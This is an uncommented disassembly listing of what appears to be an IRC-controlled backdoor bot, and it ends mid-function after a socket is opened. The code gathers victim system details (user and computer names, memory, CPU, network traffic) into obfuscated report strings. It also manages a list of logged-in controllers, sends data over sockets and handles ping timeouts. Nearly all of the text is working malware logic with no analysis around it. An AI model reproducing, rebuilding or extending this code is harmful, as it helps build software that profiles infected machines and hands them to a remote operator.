		cmp	[ebp+var_C4], bl
		jz	short loc_41BF62
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_4]
		push	offset aSS_3	; "%s (%s)"
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_2B4]
		add	esp, 10h
		mov	[ebp+var_4], eax


loc_41BF62:				; CODE XREF: sub_41BE01+75j
					; sub_41BE01+130j ...
		mov	eax, 100h
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_3B4]
		push	eax
		call	dword_456DCC	; GetUserNameA
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_5B8]
		push	eax
		call	dword_456F90	; GetComputerNameA
		lea	eax, [ebp+var_4B8]
		push	104h
		push	eax
		call	dword_4370F4	; GetSystemDirectoryA
		lea	eax, [ebp+var_228]
		push	46h
		push	eax
		push	offset aDddMmmDdYyyy ; "ddd, MMM dd, yyyy"
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		call	dword_4370F0	; GetDateFormatA
		lea	eax, [ebp+var_1E0]
		push	46h
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		call	dword_4370EC	; GetTimeFormatA
		push	40h
		lea	eax, [ebp+var_118]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_429760
		add	esp, 0Ch
		lea	eax, [ebp+var_118]
		mov	[ebp+var_118], esi
		push	eax
		call	dword_4370E8	; GlobalMemoryStatusEx
		mov	eax, [ebp+var_110]
		mov	ecx, [ebp+var_10C]
		shrd	eax, ecx, 14h
		shr	ecx, 14h
		push	ecx
		mov	esi, offset aD_0 ; "%d"
		push	eax
		push	esi
		lea	eax, [ebp+var_198]
		push	32h
		push	eax
		call	sub_429BBE
		mov	eax, [ebp+var_108]
		mov	ecx, [ebp+var_104]
		shrd	eax, ecx, 14h
		shr	ecx, 14h
		push	ecx
		push	eax
		push	esi
		lea	eax, [ebp+var_164]
		push	32h
		push	eax
		call	sub_429BBE
		mov	esi, dword_437098
		add	esp, 28h
		mov	[ebp+var_18], ebx
		mov	[ebp+var_14], ebx
		push	ebx
		push	ebx
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx
		call	esi ; dword_437098
		add	eax, 2
		mov	[ebp+var_8], eax
		push	eax
		call	sub_4297B8
		pop	ecx
		mov	edi, eax
		push	edi
		mov	[ebp+var_24], edi
		push	[ebp+var_8]
		call	esi ; dword_437098
		cmp	[edi], bl
		mov	[ebp+var_8], edi
		jz	short loc_41C0E3


loc_41C080:				; CODE XREF: sub_41BE01+2E0j
		push	offset off_447400
		push	[ebp+var_8]
		call	dword_437178	; lstrcmpiA
		test	eax, eax
		jz	short loc_41C0CE
		push	40000000h
		lea	eax, [ebp+var_130]
		push	[ebp+var_8]
		push	eax
		call	sub_41B952
		add	esp, 0Ch
		mov	esi, eax
		lea	edi, [ebp+var_3C]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_34]
		mov	edi, [ebp+var_24]
		add	[ebp+var_18], eax
		mov	eax, [ebp+var_30]
		adc	[ebp+var_14], eax
		mov	eax, [ebp+var_2C]
		add	[ebp+var_10], eax
		mov	eax, [ebp+var_28]
		adc	[ebp+var_C], eax


loc_41C0CE:				; CODE XREF: sub_41BE01+28Fj
		mov	esi, [ebp+var_8]
		push	esi
		call	sub_4293A0
		lea	eax, [esi+eax+1]
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[eax], bl
		jnz	short loc_41C080


loc_41C0E3:				; CODE XREF: sub_41BE01+27Dj
		push	edi
		call	sub_4298F2
		pop	ecx
		push	[ebp+var_C]
		push	[ebp+var_10]
		push	[ebp+var_14]
		push	[ebp+var_18]
		push	1
		push	ebx
		call	dword_437188	; GetTickCount
		push	eax
		call	sub_41B9F8
		add	esp, 0Ch
		push	eax
		lea	eax, [ebp+var_1E0]
		push	eax
		lea	eax, [ebp+var_228]
		push	eax
		lea	eax, [ebp+var_3B4]
		push	eax
		lea	eax, [ebp+var_5B8]
		push	eax
		lea	eax, [ebp+var_4B8]
		push	eax
		lea	eax, [ebp+var_164]
		push	[ebp+var_CC]
		push	[ebp+var_D0]
		push	[ebp+var_D4]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_198]
		push	eax
		call	sub_41BD4B
		push	edx
		push	eax
		push	offset aWj27_1belx20 ; "wj27.1Belx20"
		push	offset aSCpuI64umhzRam ; "%s (CPU): %I64uMHz, (RAM): %sMB total, "...
		lea	eax, [ebp+var_2CC8]
		push	2710h
		push	eax
		call	sub_429BBE
		add	esp, 58h
		cmp	[ebp+arg_8], ebx
		lea	eax, [ebp+var_2CC8]
		pop	edi
		pop	esi
		pop	ebx
		push	eax
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		jnz	short loc_41C190
		call	sub_41CE4A
		jmp	short loc_41C195
; ---------------------------------------------------------------------------


loc_41C190:				; CODE XREF: sub_41BE01+386j
		call	sub_41CDD4


loc_41C195:				; CODE XREF: sub_41BE01+38Dj
		add	esp, 0Ch
		leave
		retn
sub_41BE01	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C19A	proc near		; CODE XREF: sub_41C238+A6p
					; sub_41C238+AEp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		lea	eax, [ebp+var_4]
		xor	ebx, ebx
		push	1
		push	eax
		push	ebx
		mov	[ebp+var_4], ebx
		call	dword_456EFC	; GetIfTable
		cmp	eax, 7Ah
		jnz	short loc_41C1E5
		push	[ebp+var_4]
		call	sub_4297B8
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jz	short loc_41C1E5
		push	[ebp+var_4]
		push	ebx
		push	esi
		call	sub_429760
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	1
		push	eax
		push	esi
		call	dword_456EFC	; GetIfTable
		test	eax, eax
		jz	short loc_41C1E9


loc_41C1E5:				; CODE XREF: sub_41C19A+1Cj
					; sub_41C19A+2Bj
		xor	eax, eax
		jmp	short loc_41C223
; ---------------------------------------------------------------------------


loc_41C1E9:				; CODE XREF: sub_41C19A+49j
		push	edi
		mov	edi, [esi]
		cmp	edi, ebx
		mov	[ebp+var_8], ebx
		jbe	short loc_41C217
		lea	eax, [esi+230h]


loc_41C1F9:				; CODE XREF: sub_41C19A+7Bj
		mov	edx, [eax]
		cmp	edx, ebx
		jbe	short loc_41C20A
		mov	ecx, [eax+18h]
		cmp	ecx, ebx
		jbe	short loc_41C20A
		cmp	edx, ecx
		jnz	short loc_41C227


loc_41C20A:				; CODE XREF: sub_41C19A+63j
					; sub_41C19A+6Aj
		inc	[ebp+var_8]
		add	eax, 35Ch
		cmp	[ebp+var_8], edi
		jb	short loc_41C1F9


loc_41C217:				; CODE XREF: sub_41C19A+57j
		xor	edi, edi


loc_41C219:				; CODE XREF: sub_41C19A+9Cj
		push	esi
		call	sub_4298F2
		pop	ecx
		mov	eax, edi
		pop	edi


loc_41C223:				; CODE XREF: sub_41C19A+4Dj
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41C227:				; CODE XREF: sub_41C19A+6Ej
		cmp	[ebp+arg_0], ebx
		jz	short loc_41C231
		mov	eax, [eax-4]
		jmp	short loc_41C234
; ---------------------------------------------------------------------------


loc_41C231:				; CODE XREF: sub_41C19A+90j
		mov	eax, [eax+14h]


loc_41C234:				; CODE XREF: sub_41C19A+95j
		mov	edi, eax
		jmp	short loc_41C219
sub_41C19A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C238	proc near		; CODE XREF: sub_40A9FE+2A04p

var_4F14	= byte ptr -4F14h
var_2804	= byte ptr -2804h
var_F4		= byte ptr -0F4h
var_74		= byte ptr -74h
var_40		= byte ptr -40h
var_C		= byte ptr -0Ch
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	eax, 4F14h
		call	sub_429B60
		push	ebx
		push	esi
		mov	esi, 80h
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp+var_F4]
		push	ebx
		push	eax
		call	sub_429760
		add	esp, 0Ch
		cmp	dword_457050, ebx
		jnz	short loc_41C2B0
		push	ebx
		lea	eax, [ebp+var_F4]
		push	esi
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	dword_456DB4	; InternetGetConnectedStateExA
		test	eax, eax
		jnz	short loc_41C291
		lea	eax, [ebp+var_F4]
		push	offset dword_447640
		push	eax
		call	sub_429B03
		pop	ecx
		pop	ecx


loc_41C291:				; CODE XREF: sub_41C238+44j
		test	[ebp+var_4], 1
		lea	eax, [ebp+var_C]
		jz	short loc_41C2A9
		push	offset dword_447634


loc_41C29F:				; CODE XREF: sub_41C238+76j
		push	eax
		call	sub_429B03
		pop	ecx
		pop	ecx
		jmp	short loc_41C2CF
; ---------------------------------------------------------------------------


loc_41C2A9:				; CODE XREF: sub_41C238+60j
		push	offset off_447630
		jmp	short loc_41C29F
; ---------------------------------------------------------------------------


loc_41C2B0:				; CODE XREF: sub_41C238+2Dj
		mov	esi, offset off_44762C
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_F4]
		push	esi
		push	eax
		call	sub_429B03
		add	esp, 10h


loc_41C2CF:				; CODE XREF: sub_41C238+6Fj
		push	edi
		xor	esi, esi
		xor	edi, edi
		cmp	dword_457070, ebx
		jnz	short loc_41C2EF
		push	1
		call	sub_41C19A
		push	ebx
		mov	esi, eax
		call	sub_41C19A
		pop	ecx
		mov	edi, eax
		pop	ecx


loc_41C2EF:				; CODE XREF: sub_41C238+A2j
		cmp	[ebp+arg_C], ebx
		push	ebx
		jz	short loc_41C313
		shr	esi, 14h
		push	esi
		call	sub_427E4F
		push	eax
		mov	esi, offset aSmb ; "%sMB"
		lea	eax, [ebp+var_40]
		push	esi
		push	eax
		call	sub_429B03
		shr	edi, 14h
		jmp	short loc_41C352
; ---------------------------------------------------------------------------


loc_41C313:				; CODE XREF: sub_41C238+BBj
		cmp	[ebp+arg_10], ebx
		jz	short loc_41C336
		shr	esi, 1Eh
		push	esi
		call	sub_427E4F
		push	eax
		mov	esi, offset aSgb ; "%sGB"
		lea	eax, [ebp+var_40]
		push	esi
		push	eax
		call	sub_429B03
		shr	edi, 1Eh
		jmp	short loc_41C352
; ---------------------------------------------------------------------------


loc_41C336:				; CODE XREF: sub_41C238+DEj
		shr	esi, 0Ah
		push	esi
		call	sub_427E4F
		push	eax
		mov	esi, offset aSkb ; "%sKB"
		lea	eax, [ebp+var_40]
		push	esi
		push	eax
		call	sub_429B03
		shr	edi, 0Ah


loc_41C352:				; CODE XREF: sub_41C238+D9j
					; sub_41C238+FCj
		push	ebx
		push	edi
		call	sub_427E4F
		push	eax
		lea	eax, [ebp+var_74]
		push	esi
		push	eax
		call	sub_429B03
		add	esp, 28h
		mov	esi, offset dword_457CF8
		push	esi
		call	sub_41E4C1
		pop	ecx
		pop	edi
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_41C382
		mov	eax, offset aNo	; "No"


loc_41C382:				; CODE XREF: sub_41C238+143j
		push	eax
		push	offset dword_457C58
		push	offset dword_457C40
		lea	eax, [ebp+var_F4]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		mov	esi, 2710h
		push	eax
		push	offset aHm1h_049e4o ; "Hm1H.049e4O/"
		push	offset aSConnectionSSI ; "%s (Connection): %s (%s), (IntIP): %s, "...
		lea	eax, [ebp+var_2804]
		push	esi
		push	eax
		call	sub_429BBE
		lea	eax, [ebp+var_74]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_4F14]
		push	offset aBandwidthDownl ; "(Bandwidth): Downloaded: %s, Uploaded: "...
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_4F14]
		push	esi
		push	eax
		lea	eax, [ebp+var_2804]
		push	eax
		call	sub_4299E0
		add	esp, 44h
		cmp	[ebp+arg_8], ebx
		lea	eax, [ebp+var_2804]
		pop	esi
		pop	ebx
		push	eax
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		jnz	short loc_41C400
		call	sub_41CE4A
		jmp	short loc_41C405
; ---------------------------------------------------------------------------


loc_41C400:				; CODE XREF: sub_41C238+1BFj
		call	sub_41CDD4


loc_41C405:				; CODE XREF: sub_41C238+1C6j
		add	esp, 0Ch
		leave
		retn
sub_41C238	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_418D70


loc_41C40A:				; CODE XREF: sub_418D70+5j
		push	esi
		mov	esi, ecx
		and	dword ptr [esi+20h], 0
		call	sub_41C6C4
		and	byte ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		mov	byte ptr [esi+5], 1
		mov	eax, esi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_418D70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_418D86


loc_41C42A:				; CODE XREF: sub_418D86+5j
		mov	eax, [ecx+20h]
		test	eax, eax
		jz	short locret_41C437
		push	eax
		call	sub_41C5D6

locret_41C437:				; CODE XREF: sub_418D86+36A9j
		retn
; END OF FUNCTION CHUNK	FOR sub_418D86
; ---------------------------------------------------------------------------


loc_41C438:				; DATA XREF: sub_420CB6+1Co
		mov	eax, [esp+4]
		sub	esp, 0C4h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	31h
		mov	esi, eax
		pop	ecx
		lea	edi, [esp+10h]
		rep movsd
		mov	edi, dword_437188
		mov	dword ptr [eax+0BCh], 1
		mov	esi, 3E8h


loc_41C466:				; CODE XREF: .text:0041C4A7j
		call	edi ; dword_437188
		xor	edx, edx
		mov	ecx, esi
		div	ecx
		mov	ecx, dword_4584AC
		xor	edx, edx
		mov	ebp, esi
		mov	ebx, eax
		mov	eax, ecx
		div	ebp
		mov	ebp, 0A28h
		sub	ebx, eax
		cmp	ebx, ebp
		ja	short loc_41C4A9
		mov	ecx, [esp+10h]
		call	sub_41DB58
		mov	ecx, [esp+10h]
		push	eax
		call	sub_41CF25
		push	27AC40h
		call	dword_437190	; Sleep
		jmp	short loc_41C466
; ---------------------------------------------------------------------------


loc_41C4A9:				; CODE XREF: .text:0041C487j
		mov	eax, ecx
		xor	edx, edx
		mov	ecx, esi
		push	ebp
		div	ecx
		mov	ebx, eax
		call	edi ; dword_437188
		xor	edx, edx
		mov	ecx, esi
		div	ecx
		sub	eax, ebx
		push	eax
		push	ebx
		call	edi ; dword_437188
		xor	edx, edx
		div	esi
		push	eax
		push	offset aPingTimeout?DD ; "Ping Timeout?	(%d-%d)%d/%d"
		push	dword ptr [esp+24h]
		call	sub_41CAB4
		add	esp, 18h
		push	0
		call	dword_437174	; ExitThread
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C4E4	proc near		; CODE XREF: sub_41C8B1+18Dp
					; sub_41C8B1+1A1p ...

var_2710	= byte ptr -2710h
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, 2710h
		call	sub_429B60
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_2710]
		push	[ebp+arg_8]
		push	2710h
		push	eax
		call	sub_42B8AA
		add	esp, 10h
		lea	eax, [ebp+var_2710]
		push	0
		push	eax
		call	sub_4293A0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2710]
		push	eax
		push	[ebp+arg_4]
		call	dword_456F8C	; send
		inc	eax
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_41C4E4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C534	proc near		; CODE XREF: sub_41C58F+3Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		xor	edi, edi
		jmp	short loc_41C55F
; ---------------------------------------------------------------------------


loc_41C53E:				; CODE XREF: sub_41C534+2Ej
		cmp	[esi+8], edi
		jnz	short loc_41C55C
		push	0Ch
		call	sub_42B4D7
		mov	[esi+8], eax
		mov	[eax+4], edi
		mov	eax, [esi+8]
		pop	ecx
		mov	[eax], edi
		mov	eax, [esi+8]
		mov	[eax+8], edi


loc_41C55C:				; CODE XREF: sub_41C534+Dj
		mov	esi, [esi+8]


loc_41C55F:				; CODE XREF: sub_41C534+8j
		cmp	[esi+4], edi
		jnz	short loc_41C53E
		mov	eax, [esp+8+arg_8]
		push	[esp+8+arg_4]
		mov	[esi+4], eax
		call	sub_4293A0
		inc	eax
		push	eax
		call	sub_42B4D7
		pop	ecx
		mov	[esi], eax
		pop	ecx
		push	[esp+8+arg_4]
		push	eax
		call	dword_4370B4	; lstrcpyA
		pop	edi
		pop	esi
		retn	0Ch
sub_41C534	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C58F	proc near		; CODE XREF: sub_420D91+13p
					; sub_420D91+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		mov	eax, [esi+20h]
		test	eax, eax
		jnz	short loc_41C5C2
		push	0Ch
		call	sub_42B4D7
		mov	[esi+20h], eax
		and	dword ptr [eax+4], 0
		mov	eax, [esi+20h]
		pop	ecx
		push	[esp+4+arg_4]
		and	dword ptr [eax], 0
		mov	eax, [esi+20h]
		push	[esp+8+arg_0]
		and	dword ptr [eax+8], 0
		push	dword ptr [esi+20h]
		jmp	short loc_41C5CB
; ---------------------------------------------------------------------------


loc_41C5C2:				; CODE XREF: sub_41C58F+8j
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		push	eax


loc_41C5CB:				; CODE XREF: sub_41C58F+31j
		mov	ecx, esi
		call	sub_41C534
		pop	esi
		retn	8
sub_41C58F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C5D6	proc near		; CODE XREF: sub_418D86+36ACp
					; sub_41C5D6+Dp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+8]
		test	eax, eax
		jz	short loc_41C5E8
		push	eax
		call	sub_41C5D6


loc_41C5E8:				; CODE XREF: sub_41C5D6+Aj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41C5F5
		push	eax
		call	sub_4290D0
		pop	ecx


loc_41C5F5:				; CODE XREF: sub_41C5D6+16j
		push	esi
		call	sub_4290D0
		pop	ecx
		pop	esi
		retn	4
sub_41C5D6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C600	proc near		; CODE XREF: sub_42045F+23Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		mov	eax, offset dword_4584B0


loc_41C608:				; CODE XREF: sub_41C600+18j
		cmp	byte ptr [eax],	0
		jz	short loc_41C621
		add	eax, 0BFh
		inc	ebx
		cmp	eax, offset byte_4586ED
		jl	short loc_41C608
		or	eax, 0FFFFFFFFh


loc_41C61D:				; CODE XREF: sub_41C600+5Cj
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41C621:				; CODE XREF: sub_41C600+Bj
		push	esi
		mov	esi, ebx
		imul	esi, 0BFh
		push	edi
		mov	edi, dword_4370B4
		push	[esp+0Ch+arg_0]
		lea	eax, dword_4584B0[esi]
		push	eax
		call	edi ; dword_4370B4
		push	[esp+0Ch+arg_4]
		lea	eax, dword_4584C0[esi]
		push	eax
		call	edi ; dword_4370B4
		push	[esp+0Ch+arg_8]
		lea	eax, dword_4584D0[esi]
		push	eax
		call	edi ; dword_4370B4
		pop	edi
		mov	eax, ebx
		pop	esi
		jmp	short loc_41C61D
sub_41C600	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C65E	proc near		; CODE XREF: sub_40A9FE+9B0p
					; sub_41CBC1+C7p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, dword_437178
		push	edi
		mov	[ebp+var_4], ecx
		xor	ebx, ebx
		mov	edi, offset dword_4584B0


loc_41C675:				; CODE XREF: sub_41C65E+4Dj
		cmp	byte ptr [edi],	0
		jz	short loc_41C69E
		push	[ebp+arg_0]
		push	edi
		call	esi ; dword_437178
		test	eax, eax
		jnz	short loc_41C69E
		push	[ebp+arg_4]
		lea	eax, [edi+10h]
		push	eax
		call	esi ; dword_437178
		test	eax, eax
		jnz	short loc_41C69E
		push	[ebp+arg_8]
		lea	eax, [edi+20h]
		push	eax
		call	esi ; dword_437178
		test	eax, eax
		jz	short loc_41C6B7


loc_41C69E:				; CODE XREF: sub_41C65E+1Aj
					; sub_41C65E+24j ...
		add	edi, 0BFh
		inc	ebx
		cmp	edi, offset byte_4586ED
		jl	short loc_41C675
		or	eax, 0FFFFFFFFh


loc_41C6B0:				; CODE XREF: sub_41C65E+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41C6B7:				; CODE XREF: sub_41C65E+3Ej
		mov	ecx, [ebp+var_4]
		push	ebx
		call	sub_41C704
		mov	eax, ebx
		jmp	short loc_41C6B0
sub_41C65E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C6C4	proc near		; CODE XREF: sub_418D70+36A1p
					; sub_41C8B1+B8p
		push	esi
		mov	esi, offset dword_4584C0


loc_41C6CA:				; CODE XREF: sub_41C6C4+3Cj
		push	10h
		lea	eax, [esi-10h]
		push	0
		push	eax
		call	sub_429760
		push	10h
		push	0
		push	esi
		call	sub_429760
		push	9Fh
		lea	eax, [esi+10h]
		push	0
		push	eax
		call	sub_429760
		add	esi, 0BFh
		add	esp, 24h
		cmp	esi, (offset dword_4586FC+1)
		jl	short loc_41C6CA
		pop	esi
		retn
sub_41C6C4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C704	proc near		; CODE XREF: sub_40A9FE+8C5p
					; sub_41C65E+5Dp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		imul	esi, 0BFh
		lea	eax, dword_4584B0[esi]
		cmp	byte ptr [eax],	0
		jz	short loc_41C74F
		push	10h
		push	0
		push	eax
		call	sub_429760
		push	10h
		lea	eax, dword_4584C0[esi]
		push	0
		push	eax
		call	sub_429760
		push	9Fh
		lea	eax, dword_4584D0[esi]
		push	0
		push	eax
		call	sub_429760
		xor	eax, eax
		add	esp, 24h
		inc	eax
		jmp	short loc_41C751
; ---------------------------------------------------------------------------


loc_41C74F:				; CODE XREF: sub_41C704+14j
		xor	eax, eax


loc_41C751:				; CODE XREF: sub_41C704+49j
		pop	esi
		retn	4
sub_41C704	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C755	proc near		; CODE XREF: sub_41CBC1+AEp
					; sub_42045F+C7p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, dword_437178
		push	edi
		mov	edi, offset dword_4584B0


loc_41C762:				; CODE XREF: sub_41C755+45j
		cmp	byte ptr [edi],	0
		jz	short loc_41C78E
		push	[esp+8+arg_0]
		push	edi
		call	esi ; dword_437178
		test	eax, eax
		jnz	short loc_41C78E
		push	[esp+8+arg_4]
		lea	eax, [edi+10h]
		push	eax
		call	esi ; dword_437178
		test	eax, eax
		jnz	short loc_41C78E
		push	[esp+8+arg_8]
		lea	eax, [edi+20h]
		push	eax
		call	esi ; dword_437178
		test	eax, eax
		jz	short loc_41C7A3


loc_41C78E:				; CODE XREF: sub_41C755+10j
					; sub_41C755+1Bj ...
		add	edi, 0BFh
		cmp	edi, offset byte_4586ED
		jl	short loc_41C762
		xor	eax, eax


loc_41C79E:				; CODE XREF: sub_41C755+51j
		pop	edi
		pop	esi
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41C7A3:				; CODE XREF: sub_41C755+37j
		xor	eax, eax
		inc	eax
		jmp	short loc_41C79E
sub_41C755	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C7A8	proc near		; CODE XREF: sub_42045F+134p
					; sub_42045F+1F3p ...
		mov	eax, offset dword_4584B0


loc_41C7AD:				; CODE XREF: sub_41C7A8+14j
		cmp	byte ptr [eax],	0
		jnz	short loc_41C7C1
		add	eax, 0BFh
		cmp	eax, offset byte_4586ED
		jl	short loc_41C7AD
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41C7C1:				; CODE XREF: sub_41C7A8+8j
		xor	eax, eax
		inc	eax
		retn
sub_41C7A8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C7C5	proc near		; CODE XREF: sub_40A9FE+A18p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_0]
		push	esi
		push	edi
		push	offset aTy2nt0oi2yk ; "ty2nT0oI2YK/"
		mov	edi, ecx
		push	offset aSLoginList ; "%s Login List:"
		push	ebp
		push	edi
		call	sub_41CE4A
		add	esp, 10h
		xor	ebx, ebx
		mov	esi, offset dword_4584B0


loc_41C7EA:				; CODE XREF: sub_41C7C5+62j
		cmp	byte ptr [esi],	0
		jz	short loc_41C80A
		lea	eax, [esi+10h]
		lea	ecx, [eax+10h]
		push	ecx
		push	eax
		push	esi
		push	ebx
		push	offset aISS@S	; "<%i>	%s!%s@%s"
		push	ebp
		push	edi
		call	sub_41CE4A
		add	esp, 1Ch
		jmp	short loc_41C81A
; ---------------------------------------------------------------------------


loc_41C80A:				; CODE XREF: sub_41C7C5+28j
		push	ebx
		push	offset aIEmpty	; "<%i>	<Empty>"
		push	ebp
		push	edi
		call	sub_41CE4A
		add	esp, 10h


loc_41C81A:				; CODE XREF: sub_41C7C5+43j
		add	esi, 0BFh
		inc	ebx
		cmp	esi, offset byte_4586ED
		jl	short loc_41C7EA
		push	offset aTy2nt0oi2yk ; "ty2nT0oI2YK/"
		push	offset aSLoginListComp ; "%s Login List	complete."
		push	ebp
		push	edi
		call	sub_41CE4A
		add	esp, 10h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	4
sub_41C7C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C844	proc near		; CODE XREF: sub_42045F+15Cp
					; sub_42045F+510p ...

var_2710	= byte ptr -2710h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 2710h
		call	sub_429B60
		push	ebx
		mov	ebx, [ebp+arg_0]
		cmp	byte ptr [ebx+4], 0
		jnz	short loc_41C860
		xor	eax, eax
		inc	eax
		jmp	short loc_41C8AE
; ---------------------------------------------------------------------------


loc_41C860:				; CODE XREF: sub_41C844+15j
		push	esi
		lea	eax, [ebp+arg_8]
		push	edi
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+var_2710]
		xor	edi, edi
		push	2710h
		push	eax
		call	sub_42B8AA
		add	esp, 10h
		mov	esi, offset dword_4584B0


loc_41C884:				; CODE XREF: sub_41C844+64j
		cmp	byte ptr [esi],	0
		jz	short loc_41C89C
		lea	eax, [ebp+var_2710]
		push	eax
		push	esi
		push	ebx
		call	sub_41CDD4
		add	esp, 0Ch
		add	edi, eax


loc_41C89C:				; CODE XREF: sub_41C844+43j
		add	esi, 0BFh
		cmp	esi, offset byte_4586ED
		jl	short loc_41C884
		mov	eax, edi
		pop	edi
		pop	esi


loc_41C8AE:				; CODE XREF: sub_41C844+1Aj
		pop	ebx
		leave
		retn
sub_41C844	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C8B1	proc near		; CODE XREF: sub_418FA1+616p

var_3C		= qword	ptr -3Ch
var_2C		= word ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= byte ptr -28h
var_1C		= qword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	esi
		mov	esi, ecx
		push	edi
		cmp	byte ptr [esi+4], 0
		jz	short loc_41C8C9
		xor	eax, eax
		inc	eax
		jmp	loc_41CA7C
; ---------------------------------------------------------------------------


loc_41C8C9:				; CODE XREF: sub_41C8B1+Ej
		cmp	dword_457050, 0
		jnz	short loc_41C8EF


loc_41C8D2:				; CODE XREF: sub_41C8B1+3Cj
		lea	eax, [ebp+var_4]
		push	0
		push	eax
		call	dword_456E38	; InternetGetConnectedState
		test	eax, eax
		jnz	short loc_41C8EF
		push	4E20h
		call	dword_437190	; Sleep
		jmp	short loc_41C8D2
; ---------------------------------------------------------------------------


loc_41C8EF:				; CODE XREF: sub_41C8B1+1Fj
					; sub_41C8B1+2Fj
		xor	edi, edi
		push	6
		inc	edi
		push	edi
		push	2
		call	dword_456FD0	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_41C952
		push	[ebp+arg_0]
